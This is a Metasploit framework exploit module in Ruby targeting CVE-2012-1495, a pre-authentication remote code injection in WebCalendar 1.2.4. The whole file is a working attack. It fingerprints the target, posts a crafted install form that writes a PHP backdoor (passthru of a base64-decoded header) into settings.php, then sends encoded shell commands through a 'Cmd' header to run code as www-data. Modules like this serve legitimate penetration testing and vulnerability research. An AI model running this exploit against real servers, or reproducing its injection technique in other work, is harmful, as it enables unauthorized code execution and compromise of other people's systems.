##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
        less.  If not removed, the settings.php script meant for installation can be
        update by an attacker, and then inject code in it.  This allows arbitrary code
        execution as www-data.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',   #Initial discovery & PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2012-1495'],
          ['OSVDB', '81329'],
          ['EDB', '18775']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => %w{ linux unix },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Targets'        =>
        [
          ['WebCalendar 1.2.4 on Linux', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 23 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
        ])
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{uri}/login.php"
    })

    if res and res.body =~ /WebCalendar v1\.2\.\d/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end


  def exploit
    peer = "#{rhost}:#{rport}"

    uri = target_uri.path

    print_status("Housing php payload...")

    # Allow commands to be passed as a header.
    # We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
    post_data  = "app_settings=1"
    post_data << "&form_user_inc=user.php"
    post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
    post_data << "\n"*2
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'install/index.php'),
      'data'      => post_data
    })

    print_status("Loading our payload...")

    # Execute our payload
    send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'includes/settings.php'),
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })

    handler
  end
end
